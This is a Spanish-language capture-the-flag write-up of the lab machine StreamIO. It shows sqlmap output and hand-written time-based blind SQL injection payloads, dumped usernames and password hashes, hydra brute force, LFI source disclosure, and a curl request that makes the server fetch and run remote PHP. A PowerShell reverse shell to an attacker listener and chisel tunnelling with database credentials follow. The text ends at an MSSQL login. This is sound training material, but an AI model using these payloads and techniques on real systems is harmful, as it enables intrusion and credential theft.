En StreamIO descubrimos y explotamos una vulnerabilidad SQLi la cual nos permitió acceder a un panel de administración, en este ultimo encontramos una vulnerabilidad LFI, en consecuencia RFI y Code Injection lo que nos dió acceso a un primer usuario. Tras enumerar las bases de datos obtuvimos credenciales para un segundo usuario. Credenciales en un perfil de Firefox nos permitió ingresar con un tercer usuario. Finalmente con los permisos de este último realizamos la lectura de la contraseña en LAPS para acceder como administrador.
# Nmap 7.92 scan initiated Tue Jun 21 19:28:43 2022 as: nmap -p53,80,88,135,139,389,443,445,464,593,636,3268,3269,49667,49673,60885 -sV -sC -oN nmap_scan 10.10.11.158Nmap scan report for 10.10.11.158 (10.10.11.158)Host is up (0.079s latency).
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
80/tcp open http Microsoft IIS httpd 10.0
|_http-title: IIS Windows Server
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2022-06-22 06:28:44Z)135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: streamIO.htb0., Site: Default-First-Site-Name)443/tcp open ssl/http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
| tls-alpn:
|_ http/1.1
|_ssl-date: 2022-06-22T06:30:14+00:00; +6h59m53s from scanner time.
| ssl-cert: Subject: commonName=streamIO/countryName=EU
| Subject Alternative Name: DNS:streamIO.htb, DNS:watch.streamIO.htb
| Not valid before: 2022-02-22T07:03:28
|_Not valid after: 2022-03-24T07:03:28
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: streamIO.htb0., Site: Default-First-Site-Name)3269/tcp open tcpwrapped
49667/tcp open msrpc Microsoft Windows RPC
49673/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
60885/tcp open msrpc Microsoft Windows RPC
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: mean: 6h59m53s, deviation: 0s, median: 6h59m52s
| smb2-security-mode:
| 3.1.1:
|_ Message signing enabled and required
| smb2-time:
| date: 2022-06-22T06:29:35
|_ start_date: N/A
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Tue Jun 21 19:30:21 2022 -- 1 IP address (1 host up) scanned in 97.67 seconds
Kerbrute
La máquina presenta el puerto de kerberos abierto, utilizamos kerbrute para enumerar usuarios, observamos unicamente: administrator y martin.
nmap en el puerto 445 (https) muestra un dominio y subdominio (streamio.htb, watch.streamio.htb), tras agregarlos en /etc/hosts observamos que el dominio presenta información sobre streaming de peliculas.
En /about.php se muestran tres nombres los cuales podríamos utilizar como nombres de usuarios.
Directory Brute Forcing
feroxbuster muestra páginas nuevas como el login y registro.
/search.php solo muestra una larga lista de peliculas.
blocked.phpmuestra un mensaje de bloqueo.
Intentamos verificar que en search no existiera algun tipo de vulnerabilidad sql, al intentar con diferentes “payloads” nos redirige a blocked. Al ejecutar sqlmap este muestra boolean-based blind pero no logra detectar la base de datos por lo que no logra obtener información. Manualmente no obtuvimos información, por lo que intentamos en otro lugar.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
π ~/htb/streamio/sqlmap ❯ ./sqlmap.py -u "https://watch.streamio.htb/search.php" --data "q=god" --dbs --batch --risk 3 --level 5[.. snip ..][21:24:02][INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: q (POST) Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: q=a%' AND 4271=4271 AND 'jtID%'='jtID
---
[21:24:02][INFO] testing MySQL
[21:24:02][WARNING] the back-end DBMS is not MySQL
[.. snip ..][21:24:02][INFO] testing Virtuoso
[21:24:02][WARNING] the back-end DBMS is not Virtuoso
[21:24:02][CRITICAL] sqlmap was not able to fingerprint the back-end database management system
SQLi Time-Based + Blind
Utilizamos sqlmap esta vez en el login del dominio, observamos que se detectó el tipo ‘stacked queries’ pero segun el payload se podría decir que es un Time-based, se muestran 5 bases de datos, además se muestra que la base de datos es MSSQL.
π ~/htb/streamio/sqlmap ❯ ./sqlmap.py -u "https://streamio.htb/login.php" --data "username=user&password=pass" -p username,password --dbs --batch --level 5 --risk 3 ___
__H__
___ ___[)]_____ ___ ___ {1.6.6.12#dev}|_ -| . ["] | .'| . |
|___|_ [.]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 21:46:57 /2022-07-04/
[21:46:57] [INFO] testing connection to the target URL
you have not declared cookie(s), while server wants to set its own ('PHPSESSID=h6qt79i9ta3...teto4ni9b9'). Do you want to use those [Y/n] Y
[21:46:57] [INFO] checking if the target is protected by some kind of WAF/IPS
[21:46:58] [INFO] testing if the target URL content is stable
[21:46:58] [INFO] target URL content is stable
[21:46:59] [WARNING] heuristic (basic) test shows that POST parameter 'username' might not be injectable
[21:46:59] [INFO] testing for SQL injection on POST parameter 'username'
[21:46:59] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[21:47:23] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause'
[21:48:05] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause (NOT)'
[.. snip ..]
[22:16:45] [INFO] checking if the injection point on POST parameter 'username' is a false positive
POST parameter 'username' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 3936 HTTP(s) requests:
---
Parameter: username (POST)
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries (comment)
Payload: username=user';WAITFOR DELAY '0:0:5'--&password=pass
---
[22:17:45] [INFO] testing Microsoft SQL Server
[22:17:45] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] Y
[22:17:51] [INFO] confirming Microsoft SQL Server
[22:17:56] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2019 or 2016 or 10
web application technology: PHP 7.2.26, Microsoft IIS 10.0, PHP
back-end DBMS: Microsoft SQL Server 2019
[.. snip ..]
[20:21:14] [WARNING] in case of continuous data retrieval problems you are advised to try a switch '--no-cast' or switch '--hex'
available databases [5]:
[*] model
[*] msdb
[*] STREAMIO
[*] streamio_backup
[*] tempdb
Enumeramos la base de datos STREAMIO tablas y columnas. Se muestra la tabla users, con la columna passwords y username como las más ‘relevantes’.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
Database: STREAMIO
[2 tables]+--------+
| movies || users |+--------+
Database: STREAMIO
Table: users
[4 columns]+----------+-------+
| Column | Type |+----------+-------+
| id | int || is_staff | bit || password | nchar || username | nchar |+----------+-------+
Intentamos realizar un dump a la tabla de users pero el proceso es MUY lento y la información que presenta es incompleta o no se comprende del todo.
Creamos un script el cual realiza una enumeración (base de datos, tablas, columnas) y obtiene todos los datos de la tabla dada. Utilizamos distintas funciones y la condición IF junto con WAITFOR DELAY, se muestra el payload “principal”.
Se muestra un poco más de información sobre el script en el “Expand me”.
En el siguiente ejemplo se obtiene el valor del primer caracter de @@version, como podemos observar su valor es ‘M’, utilizando ord() con python obtenemos su representación unicode, para este, seria 77 el cual validamos y comparamos dentro de la condicion IF con UNICODE, y como sabemos esto es correcto, por lo que estaría haciendo una pausa de 5 segundos. Realizamos esto utilizando una iteración por casi todos los valores unicode, para cada caracter del dato que obtenemos, hasta obtener el valor completo tomando en cuenta la pausa que se realiza, de no haber pausa el valor unicode no es el correcto. Tambien hacemos uso de ISNULL().
/*
# From python
>>> ord("M")
77
>>>
*//*
# From MSSQL
1> select @@version
2> go
Microsoft SQL Server 2022 (CTP2.0) - 16.0.600.9 (X64)
May 20 2022 13:29:42
Copyright (C) 2022 Microsoft Corporation
Developer Edition (64-bit) on Linux (Ubuntu 20.04.4 LTS) <X64>
(1 rows affected)
*//* Query/payload */IF(UNICODE(SUBSTRING(CAST(@@versionasVARCHAR(20))),1,1)=77)WAITFORDELAY'0:0:5'--
Se muestran los diferentes queries utilizados para obtener información de la base de datos. Se Realiza un conteo del numero de bases de datos y filas existentes, numero utilizado para realizar una iteración.
/* get dbs */IF(ISNULL(UNICODE(SUBSTRING(CAST((SELECTLOWER(db_name(/*0..n*/)))ASvarchar(8000)),/*0..n*/,1)),0)=/*ord(letter)*/)WAITFORDELAY'0:0:1'--
Para obtener los nombres de tablas y columnas utilizamos STRING_AGG(), esta función nos devuelve una string con todos los nombres de tablas o columnas separadas cada una por comma, por lo que sería un texto muy largo.
1
2
3
4
5
/* get tables */USE/*dbname*/;IF(ISNULL(UNICODE(SUBSTRING(CAST(((SELECTSTRING_AGG(CONVERT(NVARCHAR(max),ISNULL(name,'N/A')),',')FROMsys.tables))ASvarchar(800)),/*0..n*/,1)),0)=/*ord(letter)*/)WAITFORDELAY'0:0:1'--
/* get columns*/USE/*dbname*/;IF(ISNULL(UNICODE(SUBSTRING(CAST(((SELECTSTRING_AGG(CONVERT(NVARCHAR(max),ISNULL(column_name,'N/A')),',')FROMinformation_schema.columnsWHEREtable_name='/*table*/'))ASvarchar(800)),/*0..n*/,1)),0)=/*ord(letter)*/)WAITFORDELAY'0:0:1'--
Para realizar un “dump” de las tablas encontramos dos payloads/queries el primero hace uso de STRING_AGG(), por lo que obtendríamos una string super larga (de existir mil filas en x tabla, obtendriamos las mil separadas por comma) ya que no existe LIMIT en SQL Server.
π ~/htb/streamio ❯ python3 stream.py
__ ___ __ ___ __
/__`||__)|__ /\ |\/|| / \
.__/ ||\ |___ /~~\ |||\__/
Time-based Blind SQL Injection on StreamIO · sckull
[+] Number of rows in 'users' DB 'streamio': 30 entries in users found.
[*]31 entries found on users.
[+] Dump data in 'username' of 'users' in 'streamio' row (1): James ✓
[+] Dump data in 'username' of 'users' in 'streamio' row (2): Theodore ✓
[+] Dump data in 'username' of 'users' in 'streamio' row (3): Samantha ✓
[+] Dump data in 'username' of 'users' in 'streamio' row (4): Lauren ✓
[+] Dump data in 'username' of 'users' in 'streamio' row (5): Wildiam ✓
[+] Dump data in 'username' of 'users' in 'streamio' row (6): Sabrina ✓
[+] Dump data in 'username' of 'users' in 'streamio' row (7): Robert ✓
[+] Dump data in 'username' of 'users' in 'streamio' row (8): Thane ✓
[+] Dump data in 'username' of 'users' in 'streamio' row (9): Carmon ✓
[+] Dump data in 'username' of 'users' in 'streamio' row (10): Barry ✓
[+] Dump data in 'username' of 'users' in 'streamio' row (11): Oliver ✓
[+] Dump data in 'username' of 'users' in 'streamio' row (12): Michelle ✓
[+] Dump data in 'username' of 'users' in 'streamio' row (13): Gloria ✓
[+] Dump data in 'username' of 'users' in 'streamio' row (14): Victoria ✓
[+] Dump data in 'username' of 'users' in 'streamio' row (15): Alexendra ✓
[+] Dump data in 'username' of 'users' in 'streamio' row (16): Baxter ✓
[+] Dump data in 'username' of 'users' in 'streamio' row (17): Clara ✓
[+] Dump data in 'username' of 'users' in 'streamio' row (18): Barbra ✓
[+] Dump data in 'username' of 'users' in 'streamio' row (19): Lenord ✓
[+] Dump data in 'username' of 'users' in 'streamio' row (20): Austin ✓
[+] Dump data in 'username' of 'users' in 'streamio' row (21): Garfield ✓
[+] Dump data in 'username' of 'users' in 'streamio' row (22): Juliette ✓
[+] Dump data in 'username' of 'users' in 'streamio' row (23): Victor ✓
[+] Dump data in 'username' of 'users' in 'streamio' row (24): Lucifer ✓
[+] Dump data in 'username' of 'users' in 'streamio' row (25): Bruno ✓
[+] Dump data in 'username' of 'users' in 'streamio' row (26): Diablo ✓
[+] Dump data in 'username' of 'users' in 'streamio' row (27): Robin ✓
[+] Dump data in 'username' of 'users' in 'streamio' row (28): Stan ✓
[+] Dump data in 'username' of 'users' in 'streamio' row (29): yoshihide ✓
[+] Dump data in 'username' of 'users' in 'streamio' row (30): admin ✓
[+] Dump data in 'username' of 'users' in 'streamio' row (31): gato ✓
De igual forma para la columna password, en este caso observamos 33 filas o hashes MD5.
π ~/htb/streamio ❯ python3 stream.py -d streamio -t users -c password -hex
__ ___ __ ___ __
/__`||__)|__ /\ |\/|| / \
.__/ ||\ |___ /~~\ |||\__/
Time-based Blind SQL Injection on StreamIO · sckull
[+] Number of rows in 'users' DB 'streamio': 33 entries found.
[*]33 entries found on users.
[+] Dump data in 'password' of 'users' in 'streamio' row (1): c660060492d9edcaa8332d89c99c9239 ✓
[+] Dump data in 'password' of 'users' in 'streamio' row (2): 925e5408ecb67aea449373d668b7359e ✓
[+] Dump data in 'password' of 'users' in 'streamio' row (3): 083ffae904143c4796e464dac33c1f7d ✓
[+] Dump data in 'password' of 'users' in 'streamio' row (4): 08344b85b329d7efd611b7a7743e8a09 ✓
[+] Dump data in 'password' of 'users' in 'streamio' row (5): d62be0dc82071bccc1322d64ec5b6c51 ✓
[+] Dump data in 'password' of 'users' in 'streamio' row (6): f87d3c0d6c8fd686aacc6627f1f493a5 ✓
[+] Dump data in 'password' of 'users' in 'streamio' row (7): f03b910e2bd0313a23fdd7575f34a694 ✓
[+] Dump data in 'password' of 'users' in 'streamio' row (8): 3577c47eb1e12c8ba021611e1280753c ✓
[+] Dump data in 'password' of 'users' in 'streamio' row (9): 35394484d89fcfdb3c5e447fe749d213 ✓
[+] Dump data in 'password' of 'users' in 'streamio' row (10): 54c88b2dbd7b1a84012fabc1a4c73415 ✓
[+] Dump data in 'password' of 'users' in 'streamio' row (11): fd78db29173a5cf701bd69027cb9bf6b ✓
[+] Dump data in 'password' of 'users' in 'streamio' row (12): b83439b16f844bd6ffe35c02fe21b3c0 ✓
[+] Dump data in 'password' of 'users' in 'streamio' row (13): 0cfaaaafb559f081df2befbe66686de0 ✓
[+] Dump data in 'password' of 'users' in 'streamio' row (14): b22abb47a02b52d5dfa27fb0b534f693 ✓
[+] Dump data in 'password' of 'users' in 'streamio' row (15): 1c2b3d8270321140e5153f6637d3ee53 ✓
[+] Dump data in 'password' of 'users' in 'streamio' row (16): 22ee218331afd081b0dcd8115284bae3 ✓
[+] Dump data in 'password' of 'users' in 'streamio' row (17): ef8f3d30a856cf166fb8215aca93e9ff ✓
[+] Dump data in 'password' of 'users' in 'streamio' row (18): 3961548825e3e21df5646cafe11c6c76 ✓
[+] Dump data in 'password' of 'users' in 'streamio' row (19): ee0b8a09372b160b2882ea3b2f8dc49f ✓
[+] Dump data in 'password' of 'users' in 'streamio' row (20): 0049ac57646627b8d7aeaccf8b6a936f ✓
[+] Dump data in 'password' of 'users' in 'streamio' row (21): 8097cedd612cc37c29db152b6e9edbd3 ✓
[+] Dump data in 'password' of 'users' in 'streamio' row (22): 6dcd87740abb64edfa36d170f0d5450d ✓
[+] Dump data in 'password' of 'users' in 'streamio' row (23): bf55e15b119860a6e6b5a164377da719 ✓
[+] Dump data in 'password' of 'users' in 'streamio' row (24): 7df45a9e3de3863807c026ba48e55fb3 ✓
[+] Dump data in 'password' of 'users' in 'streamio' row (25): 2a4e2cf22dd8fcb45adcb91be1e22ae8 ✓
[+] Dump data in 'password' of 'users' in 'streamio' row (26): ec33265e5fc8c2f1b0c137bb7b3632b5 ✓
[+] Dump data in 'password' of 'users' in 'streamio' row (27): dc332fb5576e9631c9dae83f194f8e70 ✓
[+] Dump data in 'password' of 'users' in 'streamio' row (28): 384463526d288edcc95fc3701e523bc7 ✓
[+] Dump data in 'password' of 'users' in 'streamio' row (29): b779ba15cedfd22a023c4d8bcf5f2332 ✓
[+] Dump data in 'password' of 'users' in 'streamio' row (30): 665a50ac9eaa781e4f7f04199db97a11 ✓
[+] Dump data in 'password' of 'users' in 'streamio' row (31): cce4dc8008d7cf2c8aef5a7c82ac6e8d ✓
[+] Dump data in 'password' of 'users' in 'streamio' row (32): d41b81798500b204e9800998ecf8427e ✓
[+] Dump data in 'password' of 'users' in 'streamio' row (33): d41d8cd98f003004e9800998ecf8427e ✓
π ~/htb/streamio ❯
Online Password Hash Crack
Utilizando crackstation y md5decrypt logramos identificar y obtener el valor de 13 hashes.
Intentamos enumerar la base de datos ‘streamio_backup’ pero no es posible obtener información.
Out-of-Band
Durante la explotación de la vulnerabilidad SQLi identificamos que es posible realizar out-of-band utilizando xp_dirtree, sin embargo el hash obtenido no es posible crackearlo con el wordlist rockyou.txt.
Website - admin
Con la información encontrada logramos crear dos wordlists con nombres de usuarios y contraseñas.
James
Theodore
Samantha
Lauren
Wildiam
Sabrina
Robert
Thane
Carmon
Barry
Oliver
Michelle
Gloria
Victoria
Alexendra
Baxter
Clara
Barbra
Lenord
Austin
Garfield
Juliette
Victor
Lucifer
Bruno
Diablo
Robin
Stan
yoshihide
admin
gato
Login - Brute Force
Utilizamos los wordlist con hydra en el login del dominio, vemos que existen dos combinaciones válidas.
1
2
3
4
5
6
7
8
9
10
11
π ~/htb/streamio ❯ hydra -L users.txt -P pass.txt streamio.htb https-post-form "/login.php:username=^USER^&password=^PASS^:Login failed"Hydra v9.2 (c)2021 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2022-07-05 06:20:38
[DATA] max 16 tasks per 1 server, overall 16 tasks, 403 login tries (l:31/p:13), ~26 tries per task
[DATA] attacking http-post-forms://streamio.htb:443/login.php:username=^USER^&password=^PASS^:Login failed
[443][http-post-form] host: streamio.htb login: yoshihide password: 66boysandgirls..
[443][http-post-form] host: streamio.htb login: gato password: $monique$1991$
1 of 1 target successfully completed, 2 valid passwords found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2022-07-05 06:21:00
π ~/htb/streamio ❯
Admin Panel
Al ingresar nos redirige al index de la página y no muestra contenido diferente. Si recordamos existe una dirección /admin/, tras visitar esta dirección se muestra un panel con distintas opciones. En ‘User management’ se muestra al usuario admin con el boton de eliminar.
‘Staff management’ muestra la lista de usuarios que ya encontramos anteriormente con la opcion de eliminar, aunque al realizar clic sobre esta se muestra una alerta.
‘Staff management’ lista peliculas, en esta es posible eliminar cada una de estas.
Finalmente ‘Leave a message for admin’ no muestra ningun contenido.
Navegando por las distintas opciones vemos que muestra un “parametro” en cada una de las páginas. Sin embargo ninguno de estos acepta algun valor numérico o string/letras.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
<ulclass="nav nav-pills nav-fill"><liclass="nav-item"><aclass="nav-link"href="?user=">User management</a></li><liclass="nav-item"><aclass="nav-link"href="?staff=">Staff management</a></li><liclass="nav-item"><aclass="nav-link"href="?movie=">Movie management</a></li><liclass="nav-item"><aclass="nav-link"href="?message=">Leave a message for admin</a></li></ul>
User - Yoshihide
Fuzzing - Parameter
Realizamos fuzzing para encontrar nuevos parametros con ffuf junto con el wordlist burp-parameter-names, agregando un filtro de tamaño (-fs 1678). Observamos un parametro nuevo y tres ya conocidos.
Observamos que al pasar el parametro debug muestra un mensaje.
Nuevamente utilizamos ffuf esta vez para ver que tipo de valor es el que acepta este parametro, esta vez utilizamos el wordlist common. En el resultado se muestra index.php como encontrado.
Tras pasarle este valor vemos que muestra un error, pero segun parece acepta valores con php.
Ejecutamos nuevamente ffuf, esta vez con la extensión php, encontramos el nombre master. Al pasar este valor se muestra la página que observamos con el parametro movie.
De igual forma “subiendo” un directorio logramos visualizar la pagina contact.php.
LFI - Source Code
Utilizando un wrapper de php especificamente para convertir en base64 junto con el nombre de la pagina, en este caso index.php logramos obtener su codigo fuente. Observamos una conexion de base de datos con las credenciales. Además vemos que utiliza include en el parametro debug. Descubrimos paginas nuevas: user_inc.php, staff_inc.php, movie_inc.php.
Logramos obtener el codigo fuente de estas tres páginas, se observan distintos queries para la tabla movie y users, estos queries toman un id para realizar la consulta, no se observa ningun tipo de filtro por lo que es posible agregar un query al final.
//movie_inc.php
<h1>Moviemanagment</h1><?phpif(!defined('included'))die("Only accessable through includes");if(isset($_POST['movie_id'])){$query="delete from movies where id = ".$_POST['movie_id'];$res=sqlsrv_query($handle,$query,array(),array("Scrollable"=>"buffered"));}$query="select * from movies order by movie";$res=sqlsrv_query($handle,$query,array(),array("Scrollable"=>"buffered"));while($row=sqlsrv_fetch_array($res,SQLSRV_FETCH_ASSOC)){?><div>
<div class="form-control" style="height: 3rem;">
<h4 style="float:left;"><?php echo $row['movie']; ?></h4>
<div style="float:right;padding-right: 25px;">
<form method="POST" action="?movie=">
<input type="hidden" name="movie_id" value="<?php echo $row['id']; ?>">
<input type="submit" class="btn btn-sm btn-primary" value="Delete">
</form>
</div>
</div>
</div>
<?php
} # while end
?>
Podemos agregar el query separado por punto y coma, este se ejecutaría, similar al sqli del login.
1
movie_id='1722'; WAITFOR DELAY '0:0:5';
También logramos obtener el codigo fuente de register.php y login.php, observamos que existe una función para identificar ciertos caracteres para registro de un usuario, por otro lado el login unicamente acepta como válido al usuario yoshihide. Además observamos que existen dos credenciales para la conexion de base de datos, se observan los usuarios db_user y db_admin.
Finalmente tenemos al archivo master.php, tiene la mayor parte de codigo de las tres paginas anteriores, sin embargo vemos al final del archivo un formulario con funciones que son vulnerables.
<h1>Moviemanagment</h1><?phpif(!defined('included'))die("Only accessable through includes");if(isset($_POST['movie_id'])){$query="delete from movies where id = ".$_POST['movie_id'];$res=sqlsrv_query($handle,$query,array(),array("Scrollable"=>"buffered"));}$query="select * from movies order by movie";$res=sqlsrv_query($handle,$query,array(),array("Scrollable"=>"buffered"));while($row=sqlsrv_fetch_array($res,SQLSRV_FETCH_ASSOC)){?><div>
<div class="form-control" style="height: 3rem;">
<h4 style="float:left;"><?php echo $row['movie']; ?></h4>
<div style="float:right;padding-right: 25px;">
<form method="POST" action="?movie=">
<input type="hidden" name="movie_id" value="<?php echo $row['id']; ?>">
<input type="submit" class="btn btn-sm btn-primary" value="Delete">
</form>
</div>
</div>
</div>
<?php
} # while end
?>
<br><hr><br>
<h1>Staff managment</h1>
<?php
if(!defined('included'))
die("Only accessable through includes");
$query = "select * from users where is_staff = 1 ";
$res = sqlsrv_query($handle, $query, array(), array("Scrollable"=>"buffered"));
if(isset($_POST['staff_id']))
{
?>
<div class="alert alert-success"> Message sent to administrator</div>
<?php
}
$query = "select * from users where is_staff = 1";
$res = sqlsrv_query($handle, $query, array(), array("Scrollable"=>"buffered"));
while($row = sqlsrv_fetch_array($res, SQLSRV_FETCH_ASSOC))
{
?>
<div>
<div class="form-control" style="height: 3rem;">
<h4 style="float:left;"><?php echo $row['username']; ?></h4>
<div style="float:right;padding-right: 25px;">
<form method="POST">
<input type="hidden" name="staff_id" value="<?php echo $row['id']; ?>">
<input type="submit" class="btn btn-sm btn-primary" value="Delete">
</form>
</div>
</div>
</div>
<?php
} # while end
?>
<br><hr><br>
<h1>User managment</h1>
<?php
if(!defined('included'))
die("Only accessable through includes");
if(isset($_POST['user_id']))
{
$query = "delete from users where is_staff = 0 and id = ".$_POST['user_id'];
$res = sqlsrv_query($handle, $query, array(), array("Scrollable"=>"buffered"));
}
$query = "select * from users where is_staff = 0";
$res = sqlsrv_query($handle, $query, array(), array("Scrollable"=>"buffered"));
while($row = sqlsrv_fetch_array($res, SQLSRV_FETCH_ASSOC))
{
?>
<div>
<div class="form-control" style="height: 3rem;">
<h4 style="float:left;"><?php echo $row['username']; ?></h4>
<div style="float:right;padding-right: 25px;">
<form method="POST">
<input type="hidden" name="user_id" value="<?php echo $row['id']; ?>">
<input type="submit" class="btn btn-sm btn-primary" value="Delete">
</form>
</div>
</div>
</div>
<?php
} # while end
?>
<br><hr><br>
<form method="POST">
<input name="include" hidden>
</form>
<?php
if(isset($_POST['include'])){
if($_POST['include'] !== "index.php" )
eval(file_get_contents($_POST['include']));
else
echo(" ---- ERROR ---- ");
}
?>
Code Injection -> RFI
La función eval() acepta código php y lo ejecuta, mientras que file_get_contents() obtiene el contenido del archivo o url, como de una vulnerabilidad RFI se tratase.
Para tomar ventaja de lo anterior creamos un archivo que contenga codigo php para ejecutar comandos, en este caso realizamos una consulta DNS, además ejecutamos responder y un servidor HTTP con python.
1
system('nslookup streamiotest 10.10.14.207');
Tomando el cookie de la pagina realizamos la consulta con curl, ya que la respuesta es muy larga enviamos el output a /dev/null. Pasamos la url con el archivo que contiene codigo php, file_get_contents() obtendría su contenido y sería ejecutado por eval().
1
curl -isk -X POST -b 'PHPSESSID=h5bnkjot60p3dlokd7lvrfeqbd' --data 'include=http://10.10.14.207/php.txt''https://streamio.htb/admin/?debug=master.php' -o /dev/null
Como podemos observar el comando fue ejecutado y se realizó la consulta DNS.
Shell
Utilizamos una de las shells de nishang (Invoke-PowerShellTcp), agregando al final la dirección y puerto.
Tras ejecutar el codigo php logramos obtener una shell como yoshihide.
1
2
3
4
5
6
7
8
9
π ~/htb/streamio ❯ rlwrap nc -lvp 1338listening on [any]1338 ...
connect to [10.10.14.207] from streamio.htb [10.10.11.158]54252Windows PowerShell running as user DC$ on DC
Copyright (C)2015 Microsoft Corporation. All rights reserved.
PS C:\inetpub\streamio.htb\admin> whoami
streamio\yoshihide
PS C:\inetpub\streamio.htb\admin>
User - Nikk37
Realizamos una enumeración de los programas instalados, observamos LAPS aunque el usuario actual no pertenece a algun grupo relacionado a este, además tambien se observa el navegador Firefox, al inspeccionar %appdata% no existe la carpeta Mozilla.
PS C:\> dir "Program Files" Directory: C:\Program Files
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 2/22/2022 1:35 AM Common Files
d----- 2/22/2022 2:57 AM iis express
d----- 3/28/2022 4:46 PM internet explorer
d----- 2/22/2022 2:14 AM LAPS
d----- 2/22/2022 2:52 AM Microsoft
d----- 2/22/2022 1:54 AM Microsoft SQL Server
d----- 2/22/2022 1:53 AM Microsoft Visual Studio 10.0
d----- 2/22/2022 1:53 AM Microsoft.NET
d----- 2/25/2022 11:35 PM PHP
d----- 2/22/2022 2:56 AM Reference Assemblies
d----- 2/22/2022 2:56 AM runphp
d----- 2/22/2022 1:35 AM VMware
d-r--- 3/28/2022 4:46 PM Windows Defender
d----- 3/28/2022 6:06 PM Windows Defender Advanced Threat Protection
d----- 3/28/2022 4:46 PM Windows Mail
d----- 3/28/2022 4:46 PM Windows Media Player
d----- 9/15/2018 12:19 AM Windows Multimedia Platform
d----- 9/15/2018 12:28 AM windows nt
d----- 3/28/2022 4:46 PM Windows Photo Viewer
d----- 9/15/2018 12:19 AM Windows Portable Devices
d----- 9/15/2018 12:19 AM Windows Security
d----- 9/15/2018 12:19 AM WindowsPowerShell
PS C:\> dir "Program Files (x86)" Directory: C:\Program Files (x86)Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 9/15/2018 12:28 AM Common Files
d----- 2/25/2022 11:35 PM IIS
d----- 2/25/2022 11:38 PM iis express
d----- 3/28/2022 4:46 PM Internet Explorer
d----- 2/22/2022 1:54 AM Microsoft SQL Server
d----- 2/22/2022 1:53 AM Microsoft.NET
d----- 5/26/2022 4:09 PM Mozilla Firefox
d----- 5/26/2022 4:09 PM Mozilla Maintenance Service
d----- 2/25/2022 11:33 PM PHP
d----- 2/22/2022 2:56 AM Reference Assemblies
d----- 3/28/2022 4:46 PM Windows Defender
d----- 3/28/2022 4:46 PM Windows Mail
d----- 3/28/2022 4:46 PM Windows Media Player
d----- 9/15/2018 12:19 AM Windows Multimedia Platform
d----- 9/15/2018 12:28 AM windows nt
d----- 3/28/2022 4:46 PM Windows Photo Viewer
d----- 9/15/2018 12:19 AM Windows Portable Devices
d----- 9/15/2018 12:19 AM WindowsPowerShell
PS C:\> dir $env:APPDATA
Directory: C:\Windows\system32\config\systemprofile\AppData\Roaming
Mode LastWriteTime Length Name
---- ------------- ------ ----
d---s- 2/22/2022 1:33 AM Microsoft
PS C:\>
WinPEAS
Tras la ejecución de WinPEAS observamos que el puerto 1433 de sqlserver esta a la escucha localmente, además se muestra un hash ntlm del usuario yoshihide, tras intentar crackear este hash con el wordlist rockyou.txt no encontramos algun resultado.
El puerto de SQL Server está abierto localmente en la máquina, ejecutamos chisel para obtener el puerto 1433 localmente en kali. Iniciamos un servidor samba con impacket y realizamos la copia de chisel.
1
2
3
impacket-smbserver -username sc -password sc -smb2support -port 445 share .
net use Z: \\10.10.14.207\share /u:sc sc
copy z:\chisel17.exe .
Ejecutamos chisel en la máquina, especificando el servidor y puerto, y el puerto 1433 de sql server.
Ejecutamos chisel como servidor en kali. Hay que mencionar que la ultima version (1.7.7 como servidor) no realizaba la conexión, por lo que tambien utilizamos la version 1.7.
1
2
3
4
5
6
π ~/htb/streamio/www ❯ ./chisel server -p 7070 --reverse
2022/07/06 17:51:19 server: Reverse tunnelling enabled
2022/07/06 17:51:19 server: Fingerprint 7f:19:de:80:57:ab:9e:58:65:79:a0:22:85:5c:51:87
2022/07/06 17:51:19 server: Listening on http://0.0.0.0:7070
2022/07/06 17:51:52 server: session#1: Client version (1.7.7) differs from server version (1.7.0)2022/07/06 17:51:52 server: session#1: tun: proxy#R:1433=>0.0.0.0:1433: Listening
Mssql
Tras verificar que el puerto está localmente, ejecutamos mssqlclient de impacket con las credenciales del usuario admin, observamos las mismas bases de datos que en la inyeccion sql.
π ~/htb/streamio/www ❯ impacket-mssqlclient db_admin:'B1@hx31234567890'@127.0.0.1
Impacket v0.9.24 - Copyright 2021 SecureAuth Corporation
[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
